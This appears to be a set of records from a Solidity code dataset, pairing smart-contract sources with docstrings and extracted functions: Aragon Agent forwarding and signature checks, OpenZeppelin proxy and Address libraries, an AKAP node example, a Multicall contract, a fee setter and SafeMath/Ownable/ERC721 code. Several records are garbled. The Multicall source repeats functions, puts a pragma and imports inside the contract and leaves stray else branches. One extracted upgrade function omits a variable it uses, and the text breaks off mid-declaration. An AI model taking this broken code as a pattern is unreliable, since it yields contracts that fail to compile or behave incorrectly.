require(balance(protectedTokens[j]) >= balances[j], ERROR_PROTECTED_BALANCE_LOWERED);
}
emit SafeExecute(msg.sender, _target, _data);
assembly {
return(ptr, size)
}
} else {
// if the underlying call has failed, we revert and forward returned error data
assembly {
revert(ptr, size)
}
}
}
/**
* @notice Add `_token.symbol(): string` to the list of protected tokens
* @param _token Address of the token to be protected
*/
function addProtectedToken(address _token) external authP(ADD_PROTECTED_TOKEN_ROLE, arr(_token)) {
require(protectedTokens.length < PROTECTED_TOKENS_CAP, ERROR_TOKENS_CAP_REACHED);
require(_isERC20(_token), ERROR_TOKEN_NOT_ERC20);
require(!_tokenIsProtected(_token), ERROR_TOKEN_ALREADY_PROTECTED);
_addProtectedToken(_token);
}
/**
* @notice Remove `_token.symbol(): string` from the list of protected tokens
* @param _token Address of the token to be unprotected
*/
function removeProtectedToken(address _token) external authP(REMOVE_PROTECTED_TOKEN_ROLE, arr(_token)) {
require(_tokenIsProtected(_token), ERROR_TOKEN_NOT_PROTECTED);
_removeProtectedToken(_token);
}
/**
* @notice Pre-sign hash `_hash`
* @param _hash Hash that will be considered signed regardless of the signature checked with 'isValidSignature()'
*/
function presignHash(bytes32 _hash) external authP(ADD_PRESIGNED_HASH_ROLE, arr(_hash)) {
isPresigned[_hash] = true;
emit PresignHash(msg.sender, _hash);
}
/**
* @notice Set `_designatedSigner` as the designated signer of the app, which will be able to sign messages on behalf of the app
* @param _designatedSigner Address that will be able to sign messages on behalf of the app
*/
function setDesignatedSigner(address _designatedSigner)
external
authP(DESIGNATE_SIGNER_ROLE, arr(_designatedSigner))
{
// Prevent an infinite loop by setting the app itself as its designated signer.
// An undetectable loop can be created by setting a different contract as the
// designated signer which calls back into `isValidSignature`.
// Given that `isValidSignature` is always called with just 50k gas, the max
// damage of the loop is wasting 50k gas.
require(_designatedSigner != address(this), ERROR_DESIGNATED_TO_SELF);
address oldDesignatedSigner = designatedSigner;
designatedSigner = _designatedSigner;
emit SetDesignatedSigner(msg.sender, oldDesignatedSigner, _designatedSigner);
}
function onERC721Received(
address _operator,
address _from,
uint256 _tokenId,
bytes _data
) external returns (bytes4) {
emit ReceiveERC721(msg.sender, _operator, _from, _tokenId, _data);
return ERC721_RECEIVED_INTERFACE_ID;
}
// Forwarding fns
/**
* @notice Tells whether the Agent app is a forwarder or not
* @dev IForwarder interface conformance
* @return Always true
*/
function isForwarder() external pure returns (bool) {
return true;
}
/**
* @notice Tells whether this contract supports a given ERC-165 interface
* @dev Implements conformance to ERC-165
* @param _interfaceId Interface bytes to check
* @return True if this contract supports the interface
*/
function supportsInterface(bytes4 _interfaceId) external pure returns (bool) {
return
_interfaceId == ERC1271_INTERFACE_ID ||
_interfaceId == ERC721_RECEIVED_INTERFACE_ID ||
_interfaceId == ERC165_INTERFACE_ID;
}
/**
* @notice Execute the script as the Agent app
* @dev IForwarder interface conformance. Forwards any token holder action.
* @param _evmScript Script being executed
*/
function forward(bytes _evmScript) public {
require(canForward(msg.sender, _evmScript), ERROR_CAN_NOT_FORWARD);
bytes memory input = ""; // no input
address[] memory blacklist = new address[](0); // no addr blacklist, can interact with anything
runScript(_evmScript, input, blacklist);
// We don't need to emit an event here as EVMScriptRunner will emit ScriptResult if successful
}
/**
* @notice Tells whether `_sender` can forward actions or not
* @dev IForwarder interface conformance
* @param _sender Address of the account intending to forward an action
* @return True if the given address can run scripts, false otherwise
*/
function canForward(address _sender, bytes _evmScript) public view returns (bool) {
// Note that `canPerform()` implicitly does an initialization check itself
return canPerform(_sender, RUN_SCRIPT_ROLE, arr(_getScriptACLParam(_evmScript)));
}
// ERC-1271 conformance
/**
* @notice Tells whether a signature is seen as valid by this contract through ERC-1271
* @param _hash Arbitrary length data signed on the behalf of address (this)
* @param _signature Signature byte array associated with _data
* @return The ERC-1271 magic value if the signature is valid
*/
function isValidSignature(bytes32 _hash, bytes _signature) public view returns (bytes4) {
// Short-circuit in case the hash was presigned. Optimization as performing calls
// and ecrecover is more expensive than an SLOAD.
if (isPresigned[_hash]) {
return returnIsValidSignatureMagicNumber(true);
}
bool isValid;
if (designatedSigner == address(0)) {
isValid = false;
} else {
isValid = SignatureValidator.isValidSignature(_hash, designatedSigner, _signature);
}
return returnIsValidSignatureMagicNumber(isValid);
}
// Getters
function getProtectedTokensLength() public view isInitialized returns (uint256) {
return protectedTokens.length;
}
// Internal fns
function _addProtectedToken(address _token) internal {
protectedTokens.push(_token);
emit AddProtectedToken(_token);
}
function _removeProtectedToken(address _token) internal {
protectedTokens[_protectedTokenIndex(_token)] = protectedTokens[protectedTokens.length - 1];
protectedTokens.length--;
emit RemoveProtectedToken(_token);
}
function _isERC20(address _token) internal view returns (bool) {
if (!isContract(_token)) {
return false;
}
// Throwaway sanity check to make sure the token's `balanceOf()` does not error (for now)
balance(_token);
return true;
}
function _protectedTokenIndex(address _token) internal view returns (uint256) {
for (uint256 i = 0; i < protectedTokens.length; i++) {
if (protectedTokens[i] == _token) {
return i;
}
}
revert(ERROR_TOKEN_NOT_PROTECTED);
}
function _tokenIsProtected(address _token) internal view returns (bool) {
for (uint256 i = 0; i < protectedTokens.length; i++) {
if (protectedTokens[i] == _token) {
return true;
}
}
return false;
}
function _getScriptACLParam(bytes _evmScript) internal pure returns (uint256) {
return uint256(keccak256(abi.encodePacked(_evmScript)));
}
function _getSig(bytes _data) internal pure returns (bytes4 sig) {
if (_data.length < 4) {
return;
}
assembly {
sig := mload(add(_data, 0x20))
}
}
}
|
* @notice Tells whether this contract supports a given ERC-165 interface @dev Implements conformance to ERC-165 @param _interfaceId Interface bytes to check @return True if this contract supports the interface/
|
function supportsInterface(bytes4 _interfaceId) external pure returns (bool) {
return
_interfaceId == ERC1271_INTERFACE_ID ||
_interfaceId == ERC721_RECEIVED_INTERFACE_ID ||
_interfaceId == ERC165_INTERFACE_ID;
}
| 1,757,250
|
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// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/* INHERITANCE IMPORTS */
import "./proxy/ERC1967Proxy.sol";
contract XenoERC20Proxy is ERC1967Proxy {
constructor(address logic) ERC1967Proxy(logic, "") {}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/* INHERITANCE IMPORTS */
import "./Proxy.sol";
import "./ERC1967Upgrade.sol";
/**
* @dev This contract implements an upgradeable proxy. It is upgradeable because calls are delegated to an
* implementation address that can be changed. This address is stored in storage in the location specified by
* https://eips.ethereum.org/EIPS/eip-1967[EIP1967], so that it doesn't conflict with the storage layout of the
* implementation behind the proxy.
*/
contract ERC1967Proxy is Proxy, ERC1967Upgrade {
/**
* @dev Initializes the upgradeable proxy with an initial implementation specified by `_logic`.
*
* If `_data` is nonempty, it's used as data in a delegate call to `_logic`. This will typically be an encoded
* function call, and allows initializating the storage of the proxy like a Solidity constructor.
*/
constructor(address _logic, bytes memory _data) payable {
assert(_IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1));
_upgradeToAndCall(_logic, _data, false);
}
/**
* @dev Returns the current implementation address.
*/
function _implementation() internal view virtual override returns (address impl) {
return ERC1967Upgrade._getImplementation();
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM
* instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to
* be specified by overriding the virtual {_implementation} function.
*
* Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a
* different contract through the {_delegate} function.
*
* The success and return data of the delegated call will be returned back to the caller of the proxy.
*/
abstract contract Proxy {
/**
* @dev Delegates the current call to `implementation`.
*
* This function does not return to its internall call site, it will return directly to the external caller.
*/
function _delegate(address implementation) internal virtual {
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 {
revert(0, returndatasize())
}
default {
return(0, returndatasize())
}
}
}
/**
* @dev This is a virtual function that should be overriden so it returns the address to which the fallback function
* and {_fallback} should delegate.
*/
function _implementation() internal view virtual returns (address);
/**
* @dev Delegates the current call to the address returned by `_implementation()`.
*
* This function does not return to its internall call site, it will return directly to the external caller.
*/
function _fallback() internal virtual {
_beforeFallback();
_delegate(_implementation());
}
/**
* @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other
* function in the contract matches the call data.
*/
fallback() external payable virtual {
_fallback();
}
/**
* @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data
* is empty.
*/
receive() external payable virtual {
_fallback();
}
/**
* @dev Hook that is called before falling back to the implementation. Can happen as part of a manual `_fallback`
* call, or as part of the Solidity `fallback` or `receive` functions.
*
* If overriden should call `super._beforeFallback()`.
*/
function _beforeFallback() internal virtual {}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.2;
/* LIBRARY IMPORTS */
import "./lib/Address.sol";
import "./lib/StorageSlot.sol";
/**
* @dev This abstract contract provides getters and event emitting update functions for
* https://eips.ethereum.org/EIPS/eip-1967[EIP1967] slots.
*
* _Available since v4.1._
*
* @custom:oz-upgrades-unsafe-allow delegatecall
*/
abstract contract ERC1967Upgrade {
// This is the keccak-256 hash of "eip1967.proxy.rollback" subtracted by 1
bytes32 private constant _ROLLBACK_SLOT = 0x4910fdfa16fed3260ed0e7147f7cc6da11a60208b5b9406d12a635614ffd9143;
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Emitted when the implementation is upgraded.
*/
event Upgraded(address indexed implementation);
/**
* @dev Returns the current implementation address.
*/
function _getImplementation() internal view returns (address) {
return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;
}
/**
* @dev Stores a new address in the EIP1967 implementation slot.
*/
function _setImplementation(address newImplementation) private {
require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract");
StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation;
}
/**
* @dev Perform implementation upgrade
*
* Emits an {Upgraded} event.
*/
function _upgradeTo(address newImplementation) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
/**
* @dev Perform implementation upgrade with additional setup call.
*
* Emits an {Upgraded} event.
*/
function _upgradeToAndCall(
address newImplementation,
bytes memory data,
bool forceCall
) internal {
_upgradeTo(newImplementation);
if (data.length > 0 || forceCall) {
Address.functionDelegateCall(newImplementation, data);
}
}
/**
* @dev Perform implementation upgrade with security checks for UUPS proxies, and additional setup call.
*
* Emits an {Upgraded} event.
*/
function _upgradeToAndCallSecure(
address newImplementation,
bytes memory data,
bool forceCall
) internal {
address oldImplementation = _getImplementation();
// Initial upgrade and setup call
_setImplementation(newImplementation);
if (data.length > 0 || forceCall) {
Address.functionDelegateCall(newImplementation, data);
}
// Perform rollback test if not already in progress
StorageSlot.BooleanSlot storage rollbackTesting = StorageSlot.getBooleanSlot(_ROLLBACK_SLOT);
if (!rollbackTesting.value) {
// Trigger rollback using upgradeTo from the new implementation
rollbackTesting.value = true;
Address.functionDelegateCall(
newImplementation,
abi.encodeWithSignature("upgradeTo(address)", oldImplementation)
);
rollbackTesting.value = false;
// Check rollback was effective
require(oldImplementation == _getImplementation(), "ERC1967Upgrade: upgrade breaks further upgrades");
// Finally reset to the new implementation and log the upgrade
_upgradeTo(newImplementation);
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Library for reading and writing primitive types to specific storage slots.
*
* Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts.
* This library helps with reading and writing to such slots without the need for inline assembly.
*
* The functions in this library return Slot structs that contain a `value` member that can be used to read or write.
*
* Example usage to set ERC1967 implementation slot:
* ```
* contract ERC1967 {
* bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
*
* function _getImplementation() internal view returns (address) {
* return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;
* }
*
* function _setImplementation(address newImplementation) internal {
* require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract");
* StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation;
* }
* }
* ```
*
* _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._
*/
library StorageSlot {
struct AddressSlot {
address value;
}
struct BooleanSlot {
bool value;
}
struct Bytes32Slot {
bytes32 value;
}
struct Uint256Slot {
uint256 value;
}
/**
* @dev Returns an `AddressSlot` with member `value` located at `slot`.
*/
function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `BooleanSlot` with member `value` located at `slot`.
*/
function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `Bytes32Slot` with member `value` located at `slot`.
*/
function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `Uint256Slot` with member `value` located at `slot`.
*/
function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) {
assembly {
r.slot := slot
}
}
}
|
* @dev Perform implementation upgrade with security checks for UUPS proxies, and additional setup call. Emits an {Upgraded} event./ Initial upgrade and setup call Trigger rollback using upgradeTo from the new implementation Check rollback was effective Finally reset to the new implementation and log the upgrade
|
function _upgradeToAndCallSecure(
address newImplementation,
bytes memory data,
bool forceCall
) internal {
address oldImplementation = _getImplementation();
_setImplementation(newImplementation);
if (data.length > 0 || forceCall) {
Address.functionDelegateCall(newImplementation, data);
}
if (!rollbackTesting.value) {
rollbackTesting.value = true;
Address.functionDelegateCall(
newImplementation,
abi.encodeWithSignature("upgradeTo(address)", oldImplementation)
);
rollbackTesting.value = false;
require(oldImplementation == _getImplementation(), "ERC1967Upgrade: upgrade breaks further upgrades");
_upgradeTo(newImplementation);
}
}
| 121,219
|
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// Copyright (C) 2020 Christian Felde
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
// http://www.apache.org/licenses/LICENSE-2.0
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
pragma solidity ^0.5.0;
import "akap/contracts/IAKAP.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
contract ExampleZero {
address public akapAddress;
uint public node;
constructor(address _akapAddress) public {
akapAddress = _akapAddress;
// Instantiate AKAP from address
IAKAP akap = IAKAP(akapAddress);
// Claim a new node using this contracts address as a random seed.
// The node will use the root node at id 0 as it's parent.
uint parent = 0;
require(akap.claim(parent, abi.encode(address(this))) > 0, "Unable to claim node");
node = akap.hashOf(parent, abi.encode(address(this)));
// Approve msg.sender as operator on the node, so that
// the contract creator can operate on the node. We will use
// features from ERC-721 to do this.
IERC721 erc721 = IERC721(akapAddress);
erc721.setApprovalForAll(msg.sender, true);
}
// Because we approved the msg.sender on the node, they can
// modify this node + create child nodes under it.
// That can be used to give this contract access to values, for example..
function getValue(bytes memory label) public view returns (bytes memory) {
// There are other fields on a node as well, but we're just
// going to use the nodeBody here.
IAKAP akap = IAKAP(akapAddress);
uint valueId = akap.hashOf(node, label);
if (akap.exists(valueId)) {
return akap.nodeBody(valueId);
} else {
return "";
}
}
function getValue1() public view returns (bytes memory) {
bytes memory k = new bytes(1);
k[0] = byte(uint8(1));
return getValue(k);
}
function getValue2() public view returns (bytes memory) {
bytes memory k = new bytes(1);
k[0] = byte(uint8(2));
return getValue(k);
}
// We're also going to keep a count of the number of calls to the next function,
// stored on the node we claimed above. This shows how the contract can be used
// to write values to a node, not just read values from a node like above.
function increaseCounter() public {
IAKAP akap = IAKAP(akapAddress);
// Read current counter value
bytes memory counter = akap.nodeBody(node);
uint x;
if (counter.length == 0) {
// First call, set to 1
x = 1;
} else {
assembly {
x := mload(add(counter, 0x20))
}
// Not first call, increase value by 1
x++;
}
counter = new bytes(32);
assembly {
mstore(add(counter, 32), x)
}
// Store the updated counter on node
akap.setNodeBody(node, counter);
}
// Nodes need to be reclaimed at least once a year if you want to keep ownership.
// It's often helpful to add a reclaim function on a contract to help facilitate this.
// Simply call the below function once before the expiry to update the expiry field.
// Because child nodes can't be claimed by others if we maintain ownership of the parent,
// there is no need to reclaim the two value nodes under our contract node.
function reclaim() public {
IAKAP akap = IAKAP(akapAddress);
uint parent = 0;
// You reclaim just like you claim initially
require(akap.claim(parent, abi.encode(address(this))) > 0, "Unable to claim node");
}
}
|
Instantiate AKAP from address Claim a new node using this contracts address as a random seed. The node will use the root node at id 0 as it's parent. Approve msg.sender as operator on the node, so that the contract creator can operate on the node. We will use features from ERC-721 to do this.
|
constructor(address _akapAddress) public {
akapAddress = _akapAddress;
IAKAP akap = IAKAP(akapAddress);
uint parent = 0;
require(akap.claim(parent, abi.encode(address(this))) > 0, "Unable to claim node");
node = akap.hashOf(parent, abi.encode(address(this)));
IERC721 erc721 = IERC721(akapAddress);
erc721.setApprovalForAll(msg.sender, true);
}
| 5,460,341
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./full_match/8453/0x7D691e6b03b46B5A5769299fC9a32EaC690B7abc/sources/contracts/utils/Multicall.sol
|
* @title Multicall @author Hysland Finance @notice Receives and executes a batch of function calls on this contract. A more efficient version of OpenZeppelin's multicall./
|
abstract contract Multicall {
pragma solidity 0.8.19;
import { Errors } from "./../libraries/Errors.sol";
function multicall(bytes[] calldata data) external returns (bytes[] memory results) {
results = new bytes[](data.length);
for (uint256 i = 0; i < data.length; i++) {
results[i] = _selfDelegateCall(data[i]);
}
return results;
}
function multicall(bytes[] calldata data) external returns (bytes[] memory results) {
results = new bytes[](data.length);
for (uint256 i = 0; i < data.length; i++) {
results[i] = _selfDelegateCall(data[i]);
}
return results;
}
function _selfDelegateCall(bytes calldata data) private returns (bytes memory result) {
(bool success, bytes memory returndata) = address(this).delegatecall(data);
if (success) {
return returndata;
_revert(returndata);
}
}
function _selfDelegateCall(bytes calldata data) private returns (bytes memory result) {
(bool success, bytes memory returndata) = address(this).delegatecall(data);
if (success) {
return returndata;
_revert(returndata);
}
}
} else {
function _revert(bytes memory returndata) private pure {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
revert Errors.HydrogenUnknownError();
}
}
function _revert(bytes memory returndata) private pure {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
revert Errors.HydrogenUnknownError();
}
}
function _revert(bytes memory returndata) private pure {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
revert Errors.HydrogenUnknownError();
}
}
} else {
}
| 11,557,838
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./partial_match/1/0xb17c618ed53B4A3536D2AF3Af73c6b303DbfAb5B/sources/UniswapV3xPYT.sol
|
@notice Updates the protocol fee and/or the protocol fee recipient. Only callable by the owner. @param protocolFeeInfo_ The new protocol fee info
|
function ownerSetProtocolFee(ProtocolFeeInfo calldata protocolFeeInfo_)
external
virtual
onlyOwner
{
if (
protocolFeeInfo_.fee != 0 &&
protocolFeeInfo_.recipient == address(0)
) {
revert Error_ProtocolFeeRecipientIsZero();
}
protocolFeeInfo = protocolFeeInfo_;
emit SetProtocolFee(protocolFeeInfo_);
}
| 3,679,951
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pragma solidity 0.4.24;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
* @notice Renouncing to ownership will leave the contract without an owner.
* It will not be possible to call the functions with the `onlyOwner`
* modifier anymore.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
/**
* @title Destructible
* @dev Base contract that can be destroyed by owner. All funds in contract will be sent to the owner.
*/
contract Destructible is Ownable {
constructor() public payable { }
/**
* @dev Transfers the current balance to the owner and terminates the contract.
*/
function destroy() onlyOwner public {
selfdestruct(owner);
}
function destroyAndSend(address _recipient) onlyOwner public {
selfdestruct(_recipient);
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract Operatable is Ownable {
address public operator;
event LogOperatorChanged(address indexed from, address indexed to);
modifier isValidOperator(address _operator) {
require(_operator != address(0));
_;
}
modifier onlyOperator() {
require(msg.sender == operator);
_;
}
constructor(address _owner, address _operator) public isValidOperator(_operator) {
require(_owner != address(0));
owner = _owner;
operator = _operator;
}
function setOperator(address _operator) public onlyOwner isValidOperator(_operator) {
emit LogOperatorChanged(operator, _operator);
operator = _operator;
}
}
/**
* @title ERC165
* @dev https://github.com/ethereum/EIPs/blob/master/EIPS/eip-165.md
*/
interface ERC165 {
/**
* @notice Query if a contract implements an interface
* @param _interfaceId The interface identifier, as specified in ERC-165
* @dev Interface identification is specified in ERC-165. This function
* uses less than 30,000 gas.
*/
function supportsInterface(bytes4 _interfaceId)
external
view
returns (bool);
}
/**
* @title ERC721 Non-Fungible Token Standard basic interface
* @dev see https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md
*/
contract ERC721Basic is ERC165 {
event Transfer(
address indexed _from,
address indexed _to,
uint256 indexed _tokenId
);
event Approval(
address indexed _owner,
address indexed _approved,
uint256 indexed _tokenId
);
event ApprovalForAll(
address indexed _owner,
address indexed _operator,
bool _approved
);
function balanceOf(address _owner) public view returns (uint256 _balance);
function ownerOf(uint256 _tokenId) public view returns (address _owner);
function exists(uint256 _tokenId) public view returns (bool _exists);
function approve(address _to, uint256 _tokenId) public;
function getApproved(uint256 _tokenId)
public view returns (address _operator);
function setApprovalForAll(address _operator, bool _approved) public;
function isApprovedForAll(address _owner, address _operator)
public view returns (bool);
function transferFrom(address _from, address _to, uint256 _tokenId) public;
function safeTransferFrom(address _from, address _to, uint256 _tokenId)
public;
function safeTransferFrom(
address _from,
address _to,
